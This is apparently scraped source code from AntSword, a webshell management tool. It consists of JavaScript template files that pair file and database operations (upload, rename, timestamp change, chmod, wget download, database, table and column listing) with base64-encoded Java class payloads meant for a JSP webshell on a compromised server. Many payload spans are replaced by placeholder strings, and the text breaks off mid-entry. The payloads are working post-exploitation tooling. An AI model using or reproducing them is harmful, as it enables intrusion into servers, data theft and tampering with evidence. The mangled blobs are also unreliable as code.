your_sha256_hashyour_sha256_hashKAB8CwAnAH0KAFAAfgoAUAB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgBAAV0YWdfcwEABXRhZ19lAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAO5ACEBALsAGlm3ABsqtAAOtgAdLLYAIrYAHSq0ABC2AB22AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAL8AAJ7UAAiosEjADvQAstgAtKwO9AC62AC/your_sha256_hashyour_sha256_hashCtgAkEjADvQAstgAtKwO9AC62AC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashvwAA+wAA+your_sha256_hashO1O2ADwZBgS9AC5ZAytTtgAvwAA+wAA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEsZBhkEAxECALYATFk+Ap8ADxkFGQQDHbYATaf/5hkFKrQAELYASrYASxkFtgBOGQa2AE+your_sha256_hashsAGAAbQBlAG4AZQAAAAQAAQAZAAEAaAAAAAIAaQ==', [arg1]: '#{newbase64::path}' }, upload_file: { _: 'yv66vgAAADEBFgoAQgB7CQBfAHwJAF8AfQgAfgkAXwB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQAC1CAC2BwC3CgBAALgHALkKALoAuwgAvAgAYAoAQAC9CgC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZXRSZXNwb25zZQwA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAADuQAiAQC7ABxZtwAdLbYAHyostgAjtgAktgAfGQS2AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGtgAztgA0B3gtLBUGBGC2ADO2ADSAtgA1hAYCp//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTtgBDwABMwABMTacAMRJcuAA+your_sha256_hashyour_sha256_hashfABXAH0AXgB+AIUAgACHAIEAiQCCAAEAeQAAAAIAeg==', [arg1]: '#{newbase64::path}', [arg2]: '#{newb64buffer::content}' }, rename: { _: 'yv66vgAAADEA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashXZhLnZlcnNpb24HAPgMAPkAaAEAAzEuOQwA+your_sha256_hashXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIMAPYA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBe1ABgsKhkIGQm2ABm2ABpXpwAhOggsuwAcWbcAHRIetgAfGQi2ACC2AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashztQACKrQAArYAMBI9tgA+Ti0EtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hasheACHAHkAiQB6AAEAcQAAAAIAcg==', [arg1]: '#{newbase64::path}', [arg2]: '#{newbase64::name}' }, retime: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCgApAJ8HAKAKACwAoQcAoggAowoALgChCgAuAKQKAKUApgoALACnCACoCgA/your_sha256_hashXQoAPQC3CgC4ALkKALgAuggAXwcAuwgAvAcAvQkAmQC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcQByAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash+your_sha256_hashltCDAD8AP0MAP4A/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAQBpAAAAFgAFAAAAPAAJAD0AFAA+your_sha256_hashyour_sha256_hashAD4rA70AP7YAQMAAOLUAAiosEkEDvQA9tgA+KwO9AD+your_sha256_hashyour_sha256_hashqtAACtgA1EkEDvQA9tgA+KwO9AD+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashATVO2AEDAAD06BBkEBL0APVkDEilTtgBOBL0AP1kDK1O2AE+your_sha256_hashyour_sha256_hash4ADs6BBkEElYDvQA9tgBXAQO9AD+your_sha256_hashZuAA7OgQZBBJaBL0APVkDEilTtgBXGQS2AFsEvQA/your_sha256_hashyour_sha256_hashAAIAdw==', [arg1]: '#{newbase64::path}', [arg2]: '#{newbase64::time}' }, chmod: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALkAugoAuQC7CABfBwC8CAC9BwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPwA/QwA6gD+DAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashMhkEBb0AM1kDBLgANFNZBAS4ADRTtgA1Vx0RAIB+ngApGQS2AC8SNgO9ADG2ADIZBAW9ADNZAwS4ADRTWQQEuAA0U7YANVcdEEB+ngApGQS2AC8SNwO9ADG2ADIZBAW9ADNZAwS4ADRTWQQEuAA0U7YANVcdECB+ngApGQS2AC8SMAO9ADG2ADIZBAW9ADNZAwS4ADRTWQQDuAA0U7YANVcdEBB+ngApGQS2AC8SNgO9ADG2ADIZBAW9ADNZAwS4ADRTWQQDuAA0U7YANVcdEAh+your_sha256_hashyour_sha256_hashEjYDvQAxtgAyGQQFvQAzWQMEuAA0U1kEA7gANFO2ADVXHQR+your_sha256_hashEjmwAAEAAAGlAagAGwABAGkAAABiABgAAAA7AAcAPAARAD0AGQA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashGLYAKk0SRxJIBr0AMVkDEklTWQSyAEpTWQWyAEpTtgAyTi0EtgBLLSq2AC+2AEwGvQAzWQMsU1kEA7gATVNZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEQCQABgAkQAtAJIAVACTAFcAlABeAJUAhQCXAIcAmACJAJkAAQB2AAAAAgB3', [arg1]: '#{newbase64::path}', [arg2]: '#{newbase64::mode}', }, mkdir: { _: 'yv66vgAAADEA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQoANwC+CABmCAC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZGVCdWZmZXIMAPIA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashToHBKwAAgAcAHAAcwAaAJEAuwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashPToFGQUEtgA+KhkFGQS2AD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEtgBFLSq2AC+2AEYGvQA5WQMsU1kEA7gAR1NZBSy+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEQBvABgAcAAtAHEAVAByAFcAcwBeAHQAhQB2AIcAdwCJAHgAAQBvAAAAAgBw', [arg1]: '#{newbase64::path}' }, wget: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgMAGgAZgwAdQB2AQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashc2VydmxldC5qc3AuUGFnZUNvbnRleHQMAPkA+gEACmdldFJlcXVlc3QBAA9qYXZhL2xhbmcvQ2xhc3MMAPsA/AEAEGphdmEvbGFuZy9PYmplY3QHAP0MAP4A/your_sha256_hashyour_sha256_hashyour_sha256_hashS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMARUA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBpXpwAhOggsuwAcWbcAHRIetgAfGQi2ACC2AB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash2BAKfABAZBRkIAxUEtgA0p//your_sha256_hashyour_sha256_hashyour_sha256_hashAPbUAA6cAtRI+uAA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashSRJZuAA/your_sha256_hashyour_sha256_hashyour_sha256_hashAgB7AAgAfQARAH4AGAB/AC0AgABUAIEAVwCCAF4AgwCFAIUAhwCGAIkAhwABAHoAAAACAHs=', [arg1]: '#{newbase64::url}', [arg2]: '#{newbase64::path}' }, filehash: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashLQC/your_sha256_hashOwDLCgAbAMwKAM0AzgoAOwDPCgA7ANAHANEKAC0A0goAOwDTCADUBwDVCgA/your_sha256_hashyour_sha256_hashyour_sha256_hashAPoIAPsKAEwA/AgAjggA/QgA/goATAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashFgwAfgB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashW0IMATMBNAwBNQE2DAE3ATgMATkBOgcBOwwBPAE9AQAMamF2YS52ZXJzaW9uBwE+DAE/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashILYAJKcABToHBKwAAgAcAHAAcwAaAJEAuwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAxEEALYALj4dAqQAFyosAx22AC8rLAMRBAC2AC4+p//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashFaLcANU0DPh0qvqIALCwrKh0zEQDwfgd6tgA2tgA3VywrKh0zEA9+A3q2ADa2ADdXhAMBp//your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAFIAAwAEAAAALhI+your_sha256_hashyour_sha256_hashyour_sha256_hashtRJJuABKTSosEksDvQBMtgBNKwO9AE62AE/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashnADESaLgASjoEGQQSaQS9AExZAxI7U7YAZhkEtgBqBL0ATlkDK1O2AE/your_sha256_hashRAKEAGACiAC0AowBUAKQAVwClAF4ApgCFAKgAhwCpAIkAqgABAJYAAAACAJc=', [arg1]: '#{newbase64::path}', }, }) ```
/content/code_sandbox/source/core/jsp/template/filemanager.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
8,735
```javascript // // // // @params // :encode SHELL // :conn // :sql SQL // :db // :table module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ show_databases: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALcAuAsAuQC6CwC7ALwLALsAvQsAuQC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashdHJpbmdCdWlsZGVyAQAJRVJST1I6Ly8gDADtAO8MAPAA8QwA8gDzDAB+your_sha256_hashAH8AgAwAbwD7AQAADAD8APEBAAINCgEAAQoMAP0A/gwA/your_sha256_hashQwBCgELBwEMDAENAQ4HAQ8MARABEQwBEgD6DAETARQMARUA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAEAowAvGQ0VDrkAOQIAOg+7ABxZtwAdGQe2AB8ZD7YAHxkEtgAftgAhOgeEDgGn/your_sha256_hashxkMFQ65ADsCADoPuwAcWbcAHRkHtgAfGQ+2AB8ZBLYAH7YAIToHhA4Bp//LuwAcWbcAHRkHtgAfGQW2AB+2ACE6B6f/pRkHsAAAAAEAcgAAAFYAFQAAADsABAA8ABYAPQAhAD4APQA/your_sha256_hashANoATwD1AE0A+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAACtgA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashTi0EtgBULSq2AD+2AFUGvQBIWQMsU1kEA7gAVlNZBSy+your_sha256_hashAG4AbwAbAAEAcgAAAB4ABwAAAH8ACQCAACYAgQArAIIAUgCDAG8AhABwAIUAAQB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashEQCOABgAjwAtAJAAVACRAFcAkgBeAJMAhQCVAIcAlgCJAJcAAQCBAAAAAgCC', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}' }, show_tables: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALkLALoAuwsAvAC9CwC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgBABBkZWNvZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashOi8vIAwA8QDzDAD0APUMAPYA9wwAgAB4BwD4DAD5AO4HAPoMAPsA/AwA/QD+DAB1AHYBABBqYXZhL2xhbmcvU3RyaW5nDACBAIIMAHEA/your_sha256_hashyour_sha256_hashRYA/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHkAAAAEAAEAHAAAAHoAewACAHMAAAF/your_sha256_hashyour_sha256_hashyour_sha256_hashtgAgGQ+2ACAZBLYAILYAIjoHhA4Bp//your_sha256_hashZDBUOuQA8AgA6D7sAHVm3AB4ZB7YAIBkPtgAgGQS2ACC2ACI6B4QOAaf/y7sAHVm3AB4ZB7YAIBkFtgAgtgAiOgen/6UZB7AAAAABAHQAAABWABUAAAA/AAQAQAAWAEEAIQBCAD0AQwBEAEQATQBFAFcARgBgAEgAZQBJAHQASgB/your_sha256_hashyour_sha256_hashyour_sha256_hashAF4AeQAAAAQAAQAcAAEAfgB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashXgCXAIUAmQCHAJoAiQCbAAEAgwAAAAIAhA==', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}' }, show_columns: { _: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashCwC7ALwLAL0AvgsAvwDACwDBAMILAMEAwwsAvwDECwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashZGVyQ2xhc3NkYXRhAQAGPGluaXQ+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAy0+your_sha256_hashyour_sha256_hashY29kZXIBAAl0ZXh0L2h0bWwMAPEA8gwA8wDyDAD0AHoMAHkAegwAcgBvDAB+your_sha256_hashQnVpbGRlcgEACUVSUk9SOi8vIAwA9QD3DAD4APkMAPoA+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBYAOAAiADkAMwA7AHsAAAAEAAEAHQAAAHwAfQACAHUAAAF/your_sha256_hashyour_sha256_hashyour_sha256_hashtgAhGQ+2ACEZBLYAIbYAIzoHhA4Bp//your_sha256_hashZDBUOuQA9AgA6D7sAHlm3AB8ZB7YAIRkPtgAhGQS2ACG2ACM6B4QOAaf/y7sAHlm3AB8ZB7YAIRkFtgAhtgAjOgen/your_sha256_hashwBgAEkAZQBKAHQASwB/your_sha256_hashAAAAfgB/AAIAdQAAAF4ABwAIAAAAOhI+OgUSLjoGuwAeWbcAHxI/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashagBIAGsAYQB+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAACAIY=', [arg1]: '#{newbase64::encode}', [arg2]: '#{newbase64::conn}', [arg3]: '#{newbase64::db}', [arg4]: '#{newbase64::table}' }, query: { _: 